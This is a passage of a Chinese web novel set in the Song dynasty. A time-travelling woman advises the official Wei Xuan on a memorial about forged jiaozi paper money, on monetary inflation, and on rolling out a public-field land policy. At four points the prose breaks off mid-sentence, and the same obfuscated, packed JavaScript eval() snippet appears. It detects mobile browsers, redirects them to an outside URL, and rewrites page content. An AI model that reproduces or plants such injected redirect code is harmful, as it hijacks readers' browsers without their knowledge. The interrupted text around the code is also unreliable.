故而,来此处的路上,他就在想,定要在青州好好干出一番事情,也好叫官家看看,早日调自己回京。 可如今,上官慕容彦达对他态度暧昧不明,而他自己也深陷于接连不断的宴饮中难以抽身。 他本意并不愿如此沉溺,但人情世故,往来交际,实在是最难以推辞之事。要争取其他官员的支持与青睐,那些人家的宴请,他又如何能一一回绝呢? 只是每日里醉生梦死,着实令他倍感压抑烦躁,所以今日他特意将酒悄悄倒下案桌,少喝了些。 夜深人静,三更已过,韦暄从酒后的浅眠中醒来,鼻腔里还有些残存的酒意,这让他感到辗转反侧,难以入眠,最终,索性推开了房门,独自在院中徘徊。 月色似水般洒在内衙的庭院中,叫他想起苏学士那篇《记承天寺夜游》。 自己与苏学士的境遇何其相似——满腹经纶,满腔抱负,却难以施展,只能在这异乡的土地上默默耕耘,等待着未知的转机。 伤春哀秋之间,韦暄漫步到内衙和公廨的交界处,却突然瞥见外间那签押房里隐约有灯光传来。 这青州衙署内竟还有如此夙兴夜寐、宵衣旰食之人? 韦暄大为震惊,莫名激动起来,快步向签押房走去——此人可助他矣! 他毫不犹豫地推开签押房那扇虚掩的门,却意外看到端坐在层层案卷之后的,是一位女子。 那女子在埋头奋笔疾书,丝毫没有注意到门外已经站了一个人。 韦暄见她容貌鲜妍,却未经修饰,透出一股淡然之气,有些似曾相识之感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022621|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是他摇了摇头,试图将残存的酒意从脑海里驱除,觑起眼睛辨认半天。 那不是曾在郓城救过他一命的郁竺么! * 郁竺也没想到已经好几日不见的韦暄,会半夜不睡觉溜达到签押房来。 不过,本来她也是打算将“刑”“民”两本册子完善好之后,一并交给韦暄。 早在路上,她就察觉到,韦暄虽是一位未经世事风霜、还有几分理想主义的官宦子弟,但这类人独有的闪光点在于他们乐于担当,勇于行事。 相比之下,那些官场中的老油条,面对事务时往往秉持着“少做少错,不做无错”的原则,行事瞻前顾后,明哲保身。 正因韦暄有此干事的激情,她才会熬夜翻看卷宗,编写这样两本册子。 她要让韦暄看到自己的价值。 果不其然,韦暄接过册子后,也顾不得是深更半夜,当即就着微弱的烛光细细翻阅起来,越看越入神,看到后来,竟找了处凳子坐下。 郁竺见状,给他打了支烛火在身边,他全然未觉,只一心一意地翻阅着册子,直至两本册子都被他仔细翻过,这才猛地拍案而起。 “妙哉妙哉!”韦暄边说边将手上两本册子翻来覆去,“我原先就觉得这州县审案有些拖沓,今日总算找到症结所在,你这处总结得极妙。” 说着韦暄指着一处朱笔书写的部分:“凡是涉及人命官司,需得官府找出此人犯罪的真凭实据,且不能是莫须有,定要排除合理怀疑,呃,这话虽绕口,但我懂其中的意思。” “至于财产类官司,谁主张何事,便需拿出相应的证据来,那证据,只要达到‘高度可能’之境,便可算数。” 韦暄言罢,忍不住笑着用肘轻击了一下郁竺,待动作做完,他才惊觉有些不妥,但笑容却未曾褪去:“你这词儿,真是既新鲜又贴切,不知你是如何想出来的?” 郁竺微哂:“我天马行空惯了,也不知道是否恰当。” “恰当!自然恰当!”韦暄连连点头,神色激动,"我原先便觉这州县官员审案拖沓,皆因他们拎不清轻重。鸡毛蒜皮的小事也要细细查问,人命关天的案子反而无从下手。可圣人说''民事不可缓也''①,百姓的事,事事都是要紧的,那我们自然是小事也得仔细过问,如此一来,又怎能面面俱到呢?" 郁竺闻言点头,她所处的时代,司法制度比当下不知先进了多少,以她的眼光来看,这其中的问题自然一目了然。 证据标准模糊不清,正是导致当下司法效率低下的一大原因。既然刑事科学技术一时难以提升,官僚体制她也暂时难以撼动,那便先从这边入手吧。 为此,郁竺回道:“我正是想将这些案卷梳理一遍,试图找出其中的规律。如此,日后断案之时,方能有所依循,统一标准而行。” 韦暄兴奋地看着郁竺,他也未曾想到,自己一路上竟然意外捡了两个宝贝。 武松的武艺之高超,已经叫他赞叹不已,郁竺更是深藏不露,竟有这般经世之才! 想到此处,他连忙道:“我有一挚友,因直言敢谏,上书言事,不幸遭贬。他心中甚是苦闷,意志消沉。此封奏疏,我替他妥善保存至今。郁姑娘,烦请你帮他审阅一番,看看其中有何不妥之处,并赐以高见,指点迷津。” 15. 第 15 章 以“我有一个朋友”开头者,一般这个朋友就是他自己。 郁竺也不揭穿韦暄,点点头道:“大人肯如此信任我,自是我的荣幸。郁竺对朝堂之事并非精通,谈不上指点,只能略陈浅见,以供大人参考一二。” 韦暄摆摆手:“此事其实关联着一桩案件,与朝堂纷争无涉。” 说罢,飞也似的跑回自己的房间,须臾之间,便手持一物返回。 郁竺见那奏折未曾实封,封皮贴黄,便知不是什么机密要件,放心大胆地拆开看了起来。 奏疏所述之事,简而言之是一桩由“交子”引起的案子—— 朝廷现在规定交子可以交换钱币,东京有一个叫钱艾的人便自作聪明伪造了交子,但是他运气不好,第一次用伪造的交子就被发现了。 大理寺据此案情,判定钱艾死罪。然而刑部以为此罚尚轻,遂下令诛灭钱艾三族,以示严惩。 奏疏撰写之人,对此严惩之举持有异议,认为刑罚过重。钱艾伪造交子,虽为贪财之举,却未伤及无辜性命。即便其罪当诛,亦不应累及三族。随后,该人引经据典,列举诸多圣贤之言,以证苛政之弊,力陈官家需得宽猛相济。 郁竺翻来覆去看了几遍,只见前面的“臣某言”已被涂去,最后“伏候敕旨”的字样处被点了一个大大的问号,又抬眼瞧了瞧面前的韦暄,见他正满脸期待地看着自己,心里已经有了答案。 来此几个月,郁竺恶补了一番这个时代的背景知识,对原本只在课本里见过的“交子”也算有些了解——此物本在益州一带使用,因铜铁钱币携带不便,益州的商人便自行成立专营发行和兑换交子的交子铺,使用交子来支付货款。① 崇宁三年起,宰相蔡京就将原本只在益州使用的“交子”,在整个大宋推广发行。 郁竺来自千年之后,自然知道交子意义重大,作为最早的纸币,它标志着实物货币向信用货币的转变,因此,要保证其权威性,对伪造者施以重刑无可厚非。 然而这个奏章问题的症结不在此处。 于是,郁竺反问道:“大人以为,此人所呈奏疏,何以会招致贬谪之祸?” “想来是因他直言不讳,直指苛政暴政之弊端,不慎触怒了圣上。然而,他毕竟是言官,身负纠察朝纲之重任,即便此举或有欠妥之处,却也难掩其忠直之心,并无真正过错。”韦暄立即回答道,显然这个答案早已在他心中酝酿许久。 “非也。”郁竺轻轻摇头,目光笃定,“关键不在于这后面的‘刑’上,而在于前面的‘钱’上。” “钱?”韦暄闻言,不禁愕然,脱口而出,“干钱何事?” “大人可知,蔡太师缘何要大力推行交子与钱引?”郁竺索性直言不讳,开门见山。 “自然是我大宋钱缗众多,为了百姓携带方便。”韦暄不假思索,理所当然道。 郁竺闻言失笑,她知道要让一个古代人理解金融的概念,确实如同与夏虫语冰。在某种程度上,蔡京的确展现出了超越时代的卓越才智。 “大人,接下来我所言,或许有些刺耳,甚至可能被视为离经叛道。若大人不愿听闻,我即刻止言。”郁竺先给韦暄打了个预防针。 “此地仅你我二人,有何不能言?”韦暄深夜不辞辛劳,特来取这个奏疏,正是为求真相,自然不会为这番话吓到。 “如此,我便直言不讳了。”郁竺正色道,“我大宋冗官、冗兵、冗费之痼疾,由来已久。范文正公与王文公②所行变法,皆旨在纾解财政入不敷出的困局,然时至今日,成效却并未显著。” “自今上登基以来,大兴土木,特设应奉局与造作局,专事搜罗花石纲以供御用,其耗费之巨,实难计量,此举无疑使本就拮据的财政状况雪上加霜。而蔡太师之策,却能一举解决三冗之患,并兼顾满足官家的额外开销。究其原因,在于印刷交子与钱引的成本,远低于铸造铜钱,朝廷可按需印制,数量无拘。” 韦暄还是第一次听到这种论调,有些明白过来:“你的意思莫非是说,蔡太师推行交子与钱引,实则是为了让官家手头……宽裕?” 郁竺微微颔首,道:“蔡太师于当朝,犹如汉之桑弘羊、唐之李林甫,皆是理财能手。故而,交子与钱引的推行,最终受益者是官家,维护交子的权威,实则就是维护官家的利益。刑部将大理寺的判决加重,背后必有蔡太师或是官家授意,这位大人的上疏,是撞上了硬茬了。” “且此奏疏后半部分尽述仁义道德之辞,皆是元祐党人③常有的论调。蔡太师恐是误以为旧党势力死灰复燃,意图攻讦其新政。上此奏疏之人,自然难逃厄运,遭遇贬谪已是万幸。我猜,若非其家中尚有些背景,恐怕早已性命难保。” 韦暄听闻此言,只觉心头如坠寒冰,一股凉意透彻心扉。 自己身在局中,看不清其中的关窍,此刻方知,自己此番被贬至青州,竟是无意间触碰了官家的利益,更卷入了那错综复杂的新旧朋党之争。 他不禁苦笑连连,回想起自己多年苦读圣贤之书,一心向学,只为有朝一日能够入仕为官,为国尽忠。入仕之后,更是时刻提醒自己,不可深陷朋党之争,要一心一意地效忠官家。 如今看来,自己从前的天真,竟是如此的可笑与可悲! 见韦暄呆立半晌,默然无语,郁竺也并未再出言打扰,很多事情,当局者迷,旁观者清。 她之所以能看得如此透彻,也是因为能跳脱出这个时代,且并未置身事中。 韦暄身在局中,更容易一叶障目不见泰山,今天听她一番话,恐怕一直以来的价值观遭受了不小的冲击,一时之间难以反应过来,也是情理之中的事情。 果然,韦暄在长久的愣怔之后,终于回过神来,但随即又蹙起了眉头,显然心中仍有疑惑未解:“你方才所言,我还有一处不明。” “大人但说无妨,郁竺定当知无不言。” “你说太师通过推广交子和钱引,便能解决财政入不敷出的困局,然而交子确实易于印刷,但那钱又是如何凭空产生的呢?”韦暄眉头紧蹙,满脸困惑之色。 郁竺心中不禁生出几分惊喜,没想到韦暄在遭受如此大的观念冲击后,仍能敏锐地捕捉到问题的核心,可见其确实聪明。 按理来说,每印刷一张交子,都应有相应的金属货币作为储备,但蔡京显然没有“存款准备金”的概念。因此,他大量印刷货币后,不可避免地导致了通货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022622|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膨胀。 不过郁竺并未打算向韦暄解释这一复杂的经济原理,而是换了一种更为通俗易懂的说法:“钱自然是不能凭空产生的。比方说,一张交子原本规定可以兑换一贯钱,在崇宁年间,大家都按这个规矩来,倒也相安无事。但后来,交子越印越多,而实际的钱币数量并未增加。到了政和年间,一张交子就只能兑换五百钱了。 韦暄闻言,迅速举一反三:“也就是说,如果一户人家在崇宁年间拥有万贯家财,并将其全部兑换成交子,到了政和年间,这些交子就只能兑换成五千贯的钱了?” “正是如此。”郁竺心中暗赞。 韦暄接着追问:“那剩下的五千贯,去了哪里呢?” “谁印刷的交子,就去了谁那里。”郁竺答道。 韦暄闻言,恍然大悟:“你是说,最终都落到了官家……”说到这里,他忽然意识到什么,将后半句话硬生生地咽了回去。 “可是官家明言,于江南设立应奉局与造作局,意在搜集草木花石之余,亦能解决众多流民生计。”他仍旧不由自主地辩解道。 郁竺并未直接反驳,只是轻轻反问:“大人心中,其实已有答案,不是吗?” 韦暄默然。官家酷爱字画音乐,生活奢华,又热衷于建造园林,从江南各地搜罗奇花异石运往东京,沿途拆桥毁路之事,他也略知一二。 在他看来,花木园林、字画音乐本是风雅之事,官家有此爱好,并无不妥,不宜过分攻讦。 然而,他未曾料到,滥印交子的后果竟如此严重,如同一只无形的大手,悄然盘剥着百姓,将天下的财富都引向了那座位于东京、富丽堂皇的宫城之中。 官家,自己的姑父,自己苦读圣贤书誓死效忠的对象,难道真的是这样的人吗? 这个念头太过震撼,颠覆了他的认知。一时间,他竟不再关心那封奏疏的事情,只是呆呆地坐在签押房内,陷入了沉思。 郁竺并未出声打扰他,而是又回到案前,整理卷宗,在那两本册子上添写东西。 五更的梆子响起,天边已泛起鱼肚白。韦暄从沉思中回过神来,目光转向郁竺。 “昔日诸葛武侯,未出茅庐便知天下三分。今日我方知,姑娘之才,亦不输古人。先前是我韦暄有眼不识泰山,多有失礼之处,还请姑娘,哦不,先生见谅。” 郁竺一听,韦暄这一会儿的工夫,连称呼都改了,不禁哑然失笑:“先生之称就不必了,大人还是像以前一样称呼我罢。只是今日所言,还望大人留在这房中,你知我知便好,不宜外传,对大人亦无益处。” “那是自然,此奏疏我亦未曾示人。还请先生,呃,郁姑娘替我保密。” 韦暄这会儿脑子一片混乱,也不再扯什么“我有一个朋友”的幌子,郁竺忍住笑意,没有点破他的小心思。 半掩的房门被猛地从外打开,吴胜的身影出现在门口,郁竺抬眼看去,难得在他脸色寻到一丝急切之色。 再说那吴胜推开门后,一眼便看到郁竺和韦暄二人单独在签押房内,眼神不由得在两人之间打转,最终停留在了郁竺的衣领上,片刻后才移开。 “大人叫老奴好找,慕容知府找大人有要事相商。” 16. 第 16 章 与韦暄彻夜长谈之后,郁竺终于松了一口气,目的达成,之前熬了几个大夜积累的困意排山倒海般压来,此刻她眼帘沉得有千斤重。 韦暄自然是休息不得,强撑着去找慕容彦达议事。郁竺见他走了,也不管吴胜探究的目光,打了个哈欠,就回房间补觉去了。 吴胜见状,心中暗自诧异,今天的郁竺有些一反常态,不似往日沉默寡言,虽看着疲惫,神色中却有兴奋之意…… 他不由得生出了几分猜想,黑灯瞎火、孤男寡女,这是发生了什么?片刻之后,吴胜决定去找武松。 * 韦暄在慕容彦达府中逗留至近午时分才出来。 那慕容彦达从来不到府衙办公,凡事皆喜召见下属至其私宅,他自己倒是品茗赏食,好不惬意。而韦暄因着这一番召唤,连早饭都未曾用,早已饥肠辘辘。 加上昨夜几乎一夜未眠,他摇摇晃晃从慕容府里走出来,只觉头脑愈发沉重。 慕容彦达清晨时分就火急火燎将他召至家中,当然没有好事。 进奏院传来急递,尚书省已在东京设立公田所,要求各州县将自己所辖范围的荒田、废田重新测量并登记造册,进行开垦,农户要种这些公田,需缴纳相应的公田钱。① 田亩之事历来繁琐复杂,此次要推行的“公田制”,更有很多隐患和风险在里头。 慕容彦达老奸巨猾,一看这诏书,就立马让人誊抄了一份,在最开头写上了“特命韦通判全权负责办理”,然后将原件放到架阁库保存。这样一来,公田所一事,就无他无关了。 韦暄这会儿一个头两个大,夜谈带给他的冲击还未消化完,新的棘手事务又接踵而至。他浑浑噩噩走到签押房,见众多公差皆在场,便单独将吴胜唤进了自己的书房。 吴胜见韦暄面色凝重犹如乌云压顶,便接过那诏书,细细研读起来。却听韦暄开口问道:“郁竺姑娘何在?怎的未见她的人影?” 吴胜心中暗喜,面上却不动声色,尽量让自己的话语显得平淡:“她一早便回去歇息了。” 韦暄并未察觉其中的挑拨之意,只是随口应了一声:“她这些日子确实辛劳。不过此事还需她前来一同商议才是。吴老,你且去跑一趟。” “这……小人恐怕多有不便吧。”见韦暄回答得如此自然,吴胜眉头微微一皱。 “哦,对对对,险些忘了。那便让武松去唤她前来。” * 郁竺只觉自己方才沉入梦乡不久,便被一阵敲门声猛然惊醒。满腔的怒火正欲发作,却见门外站着的竟是武松,又将那股气憋了下去。 “韦大人喊妹子有要事相商。” 郁竺瞧见武松脸上一闪而过的怪异神色,本想询问,却在听清他的话后,立即收住话头,急匆匆往韦暄书房方向赶去。 夜谈有成效了!领导将自己当心腹了!升职有指望了!这熟悉又美妙的感觉,让郁竺此刻充满干劲。 武松望着那背影,心中却生出一丝不解。 步入书房,只见吴胜眉头拧成了疙瘩,韦暄一见她,便迫不及待道:“你可来了,快来看看这个。” 郁竺从韦暄手中将那诏书接过,看了三遍,心中有了几分盘算,又让系统回溯了下历史上此事的背景,将心中的思绪逐一理清,这才郑重开口:“公田所之制,历代也有类似的做法,只是此次有两处难办。” 言及此处,她稍作停顿,见韦暄示意自己继续说下去,这才刻意忽略掉一旁吴胜有些复杂难辨的目光,直言道:“其一,诏书虽指明开垦荒田废田,但所附地图乃仁宗皇帝登基之初绘制,距今已逾八旬。彼时诸多荒田,现在早已化作良畴,且多数有百姓自发耕作,若突然将其转为公田,无异于将昔日无偿的田地陡然间加诸租银,百姓心中自是要不满的。” 说完这话,她都有些震惊于朝廷的纸上谈兵——仁宗朝的田亩图直接拿过来用,也不这管八十年间沧海桑田多少变化。 韦暄点点头,若有所思,郁竺见状,紧接道:“其二,以‘乐尺’替代旧制之‘尺’丈量公田,则原来的一亩地,现在就变成了一亩有余,若是税率不变,也就是百姓要多交税……每十分就要多约八厘。②” 她心算了一下,迅速报出一个数字。 不得不说,制定这个政令的人真是“天才”,区区变换一下计量单位,光这一项的税收就要比原来多出8%,郁竺不禁在心里暗暗摇头。 武松在一旁听得心惊——他原本并未不知道韦暄今早心事重重是何等大事,又有吴胜对他说了些闲话扰乱心神,本是有些不快,现在听郁竺这么一解释,他才意识到事情的严重性。 他自幼生活在社会的最底层,自然知道每十分多交八厘税,对于普通的农户来说是个不小的负担,如今许多百姓日子已经十分难过,这个政令要是推行下去,要出事的。 吴胜见郁竺讲完,立马开口道:“姑娘所言,大人和我刚刚也已经预见到了,因此此事才颇为难办呀。” 韦暄也点点头:“虽是难办,却还不得不办。这本是杨戬在汝州设立‘稻田务’的做法,因收入颇丰,便上书官家,将‘稻田务’改为‘公田所’,在各路州县推行。且慕容彦达将此事全权交由于我,若处理不当,或有差池,他必会在官家面前参我一本。更甚者,若杨戬误以为我对他有所不满,定会对我更加不利,这可怎么是好?” 杨戬啊,四大奸臣之一,这就不奇怪了。郁竺心里暗叹一声,不过韦暄担心的不无道理,有时候二把手存在的意义就是要给一把手背锅,显然慕容彦达一开始就知道这是个无解的事情,才会干净利落地推给韦暄。 吴胜心中暗自嘀咕,颇为不满。他不解为何仅仅一夜之间,大人对这郁姑娘的态度就变得如此恭敬,甚至将这些微末细节都毫无保留地告知于她。 区区一介女流,即便有些许才学,又怎能令大人如此相待?他又不禁揣测上了二人的关系,是否在昨天这个夜里发生了某种不可言说的转变。 郁竺深知食君之禄,担君之忧的道理,她设身处地地站在韦暄的角度,思考了片刻,道:“大人,当务之急,不在于具体如何向下推行,而是要对上展现出您推行此事的决心,给上面,尤其是慕容知府一个明确的表态,让他无从置喙。至于后续步骤,可从容布局,逐步推进。” 韦暄闻言,眼神一亮,急切追问道:“那依你之见,该如何具体施行呢?” * 郁竺从韦暄书房里出来时,心如擂鼓。 对于田亩事务,她在现代社会从未涉足,刚刚虽然侃侃而谈,但实际上那些不过是拾人牙慧加上一些基本的策略博弈,她内心深处并无十足把握。 然而,机遇已至,她岂能轻易放过?她迫切需要这样的机会来证明自己的价值。 另一边,书房内,郁竺走后,吴胜终于开口:“大人,郁姑娘毕竟是个女子,将如此重大的事务交予她手,是否有些欠妥?” “欸,无妨。昔日邵昭明也不过是太祖身边一个侍女,因精明能干、文采出众,太祖便委以重任,太祖尚能如此,我这便有何不可呢?”韦暄摆摆手,昨夜和郁竺秉烛夜谈,叫他受益良多,此刻自是为她说话。 见韦暄如此坚持,吴胜只好缄口不言。 他心中暗自盘算,只能静待事态发展。等郁竺把事情办砸了,他再出手收拾残局,届时方能彰显自己的重要性。 * 武松跟着郁竺来到前面的公廨,这是郁竺特意向韦暄请求的,希望“借用”武松几日。 他久历江湖,察言观色的本领自是超群,经过方才之事,岂能看不出吴胜早上找他所说的那些闲言碎语纯属无稽之谈。 然而,韦暄对郁竺态度变化显著,两人之间显然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“并无然后,只是他语焉不详,似有叫人误会之意,却又让人无从对质。”武松干脆一口气把话说完,“妹子,此人有些阴险狡诈,方才那些公人对你这般,怕是与他脱不了干系,你需多加提防。” 郁竺轻笑一声,应道:“嗯,知道了。” 武松又道:“妹子莫怕,若他再敢背后使绊,毁你清誉,我便是动手教训他一顿也使得。” 郁竺轻轻摇摇头:“无妨。” “什么?”武松不解。 “我说,清誉于我,是无关紧要的事情。”郁竺直视着武松的眼睛,轻声道。 清誉是什么?清誉是这个封建社会里女人最好的嫁妆,她又不想嫁人,要这清誉做什么。 吴胜打的什么主意,她一清二楚,早上他打量二人的衣服,就知道什么都没有发生。但是吴胜敏锐的感知,让他从韦暄对郁竺的态度转变里嗅到了一丝危机感。 他一辈子都是韦家深受信赖的家仆,韦暄都叫他一声吴老,他怎能容得自己的地位被一个女子威胁。 所以他四处引得别人误解,就是想让郁竺为此感到羞耻。如果她是普通女子,此刻已经被众人嘲得面红耳赤、羞愧难当,从而主动与韦暄保持距离,以维护自己的声誉。 可是郁竺不是普通女子,吴胜的如意算盘打错了,她不在乎声誉,吴胜就休想以此绑架她。 韦暄是什么?是她接近权力的梯子,想让她主动远离,门儿都没有。 武松看着郁竺,眼里透出了困惑又陌生的感觉,良久道:“妹子能想得开就好。” “不说这些,正事要紧。兄长依那公人之言,去茶坊找那文案,我再去寻些帮手。” 这是她答应韦暄的事情,今日之内,必有所成——将这条难以推行的政令,光明正大昭告百姓,不仅不遭唾骂,还要效果显著。 17. 第 17 章 午时一过,青州府衙外的八字墙边搭了个小台子、张了灯,台前摆放着若干蒲团,像要唱大戏似的,行人瞧见,觉得稀奇,纷纷侧目。 只见那说诏的文案先生站着将醒木一敲,张口道:“诸位看官,且慢行几步,听一听瞧一瞧,莫失良机。” 那侧目的行人听闻此言,纷纷驻足,府衙前渐渐聚了些人。有后来者不明就里,也踮起脚尖、伸长脖子够着向里面看去。 文案先生见状,嘴角勾起一抹得意的笑,手中的扇子轻轻一挥,摇头晃脑、念念有词道: “苕苕之华,叶绿花煌,牂羊瘦首,罶弃河旁。① 洪灾频仍,田畴荒芜,黎民无地,饥馑难当。 …… 昔时三皇五帝,皆怀好生之德;今朝圣明天子,亦显仁慈之光。 降旨颁诏,拯民于水火;欲知其详,且听僧侣颂皇恩之章。” 文案到此卖了个关子,手指轻轻一扬,众人也随之看去。 只见一旁两个呆愣愣的和尚顿了会儿才反应过来该到自己表现了,慌忙间掐了一个不太标准的莲花印,嘴里喊的却是“元始安镇,普告万灵……皈依大道,元亨利贞”之类的话。 此时道教盛行,百姓们如何听不出那俩呆和尚念错了词儿,哄得一下笑开了,更有好事者在人群中高声起哄道:“好!” 那文案见此情形,眼里闪过一丝精光,继续道:“官家体恤民情,特命官府着手重垦荒田,以造福百姓,耕种自给。为此,特设公田所,自今日起,官府将派遣专员前往各地,丈量荒田,将其开垦良田,而所收租银,远低于普通田亩,望尔等积极配合,共襄盛举。具体事宜,且见我身后这张告示。” 百姓们闻言,方才恍然大悟,纷纷转头,发现那八字墙上早已贴上了斗大的告示,于是争相挤上前去,仔细阅读起来。 不远处的酒楼上,武松倚窗而立,目光穿透熙熙攘攘的人群,微微蹙眉道:“这样能行吗。” 说罢他做了个手势,几个隐匿在人群中的公人悄然撤离。 “能行。”郁竺笃定道。 政令初颁之时,往往伴随着诸多华丽的辞藻和美好的愿景,令民众对之满怀憧憬。然而付诸实践后,其真实面貌往往大相径庭。 文案先生避重就轻,口若莲花,且平民百姓中读书人甚少——那些可能触动民众切身利益的内容,便不易被察觉。 况且,以娱乐的方式淡化苦难,历来是颇为奏效的手段。君不见那假和尚念错词儿后,还有几人再去细看告示内容,想必回家后,能记住“公田所”三字便不错了。 另一边的吴胜,也在悄悄观察着衙门前的场景,许久,冷哼一声:“雕虫小技。” * 慕容府内,一个虞侯躬身站在慕容彦达身边。 “看真切了?”慕容彦达问道。 “千真万确,还有百姓叫好呢!”那虞侯答道。他自午饭过后便一直守候在衙门口,准备看那位新来的韦通判笑话。却不料几次试图挤入人群都未能如愿,反而被几个壮硕的汉子挤到了一边。于是他索性找了家茶馆儿坐下远远看着,反正慕容知府也只让他盯着便是,又没说要怎么盯。 谁知那围观百姓竟然没有像他想象的那样起哄闹事,他看笑话不成,心里着急,却听到周围叫好之声,这便急急忙忙跑回来汇报。 “叫好?”慕容彦达疑惑道,“这等招人嫌的事,还有人叫好?” “正是啊,您别说这韦暄,倒是有点本事呢。” 慕容彦达白了那虞侯一眼,后者知趣地闭上了嘴。 * 夜幕低垂,内衙书房内灯火通明。 韦暄一手拎着铜壶,手腕微转,水流如丝般注入盏中,另一只手拿着茶筅快速搅动着,很快,茶汤表层形成了一层黏稠细密的泡沫。 郁竺接过茶盏,轻轻抿了一口,嗯,有点涩。 转头看了眼武松,只见他茶汤一入口,嘴就抿成了一条直线,但很快便恢复了常态,只是手中的茶盏却再未离开过掌心。 果然,点茶是两人都喝不来的“细糠”。 韦暄不曾注意到二人的神色,他沉浸在自己优雅的茶艺表演中,问道:“如何?” “好茶!”兄妹二人异口同声道。 韦暄展颜:“茶好,计更好。” 他已听闻公人向自己禀报白天宣读圣谕的盛况:“这一出声东击西,真是极妙!如今城里百姓都在相传公田所,却没有大规模的抵触,郁姑娘功不可没呀!” 郁竺微微一笑,并未言语——舆论的操控仅是表象,真正的难关还在后头。 果然韦暄紧接着问道:“姑娘下一步打算怎么办?” 郁竺直接了当:“不办。” 此言一出,不光是韦暄,连一旁的武松都投来了惊异的目光:“什么?!圣谕之事还可推脱不办?” “大人莫急,听我细细道来。”郁竺又抿了口茶,润了下嗓子:“此事若要施行,可分为三步走。第一步,以乐尺重新丈量公田;第二步,向已经在公田上耕种的百姓征收公田钱,将无人耕种的公田租出去;第三步,来年课税时,以乐尺丈量的新亩数来收税。” “第三点,暂且不急,待明年再做计较,至于前两步,若此刻便着手施行,恐会招致百姓极大的怨怼。” “可那又当如何是好呢?”韦暄两眉之间挤出了一条沟,他深知此事棘手,倍感为难。 “拖。”郁竺简洁明了。 见韦暄不太理解,她进一步继续道:“大人,急事缓办,可派遣三五个得力的公人,先挑家境富裕的农户入手去丈量土地,只是行事需得温和。至于那些贫寒之家,且容他们一时,待时机妥当,再行丈量,免得此时便搅扰得民心不安。” 韦暄点点头:“这一点我自然省得,不能在此事上再添民怨,只是这公田钱怎么收?我想的是干脆让大户买下来,从他们手上收。” 这回没要郁竺回答,倒是武松先开了口:“大人,此计恐不可行。大户一旦购得公田,他们所付出的费用,势必会转嫁到那些佃户身上,租金自当水涨船高。这样一来,非但未能减轻佃户的负担,反倒可能平添一层盘剥。” 郁竺颔首,心中暗自赞许,武松能洞察此中微妙,而韦暄自幼生活锦衣玉食,对民间疾苦的了解多来源于书本,因此难有深切体会。 他怎会知晓,一项政令的推行,每多经一手,便可能滋生诸多变数,偏离初衷。 然而,韦暄毕竟也是进士出身,经武松一番点拨,很快便领悟了其中要害。但随即,他的眉头又紧锁起来——上面可是规定了,公田钱年底就得交上去。 “大人莫急,那钱财自当由大户承担,只是需略施巧计,变个法子筹措。至于年底需上缴的公田钱,且先从别处设法填补。”郁竺出言先稳住他的心神,“不知大人可知,我青州六县一寨,往昔税赋是如何收缴分配的?” 韦暄答得爽快,这点他倒是很清楚:“地方之税皆由州府分配,六成上缴朝廷,四成则留予地方官府,其中州级、县级各得两成。” “既如此,这公田钱,便先从那四成之中挪用。”郁竺道。 “此计倒也可行,县级之税且缓发,他们纵有怨言,也只得暂且隐忍。”韦暄略作思索,点头应允,却又道,“但终究需将此税补于他们,这差额又从何处填补?” 郁竺听闻此言,嘴角勾起一抹笑意:“那差额,仍旧需由大户承担,只不过方才说了,需得换个法门。大人若是信得过我,就给我一些时日筹谋,届时或需大人略施援手。” “这个自然,我当然信得过你。”韦暄点点头,“目前而言,这已是上策。” 言罢,又想起什么似的:“倘若慕容知府突然要介入此事,那该如何应对?” 郁竺心中默默盘算着时日,此时已近腊月尾声,距元宵不过月余,联想到原著里的情节,她对韦暄道:“大人宽心,知府大人或许无暇顾及此事。” 韦暄虽心存疑惑,但见郁竺言之灼灼,便也只好道:“但愿如此吧。” “既然如此,我和兄长明日起就去下面的县里,亲自盯着丈量土地的事情,确保不出纰漏,还请大人恩准。” “这是自然,有武松在旁,你行事也方便些。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022624|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韦暄很大方地将武松“借”了出去,又道,“吴老近来身体不太好,你们来之前,和我告了假,要休息好一阵子了,这衙里的事情,你们要多担待。” 也不知吴胜身体是真不好还是假不好,郁竺没有多话,直接应是。 * 京西北路,孟州道。 枯败的田野上,日光西斜。 一个公人挥舞着手中的鞭子,鞭影在空中划出一道凌厉的弧线,最终狠狠抽打在地上,激起一阵尘土。 “你们这群刁民,皇命也敢违抗?!”他脸上的横肉因为生气而颤动着。 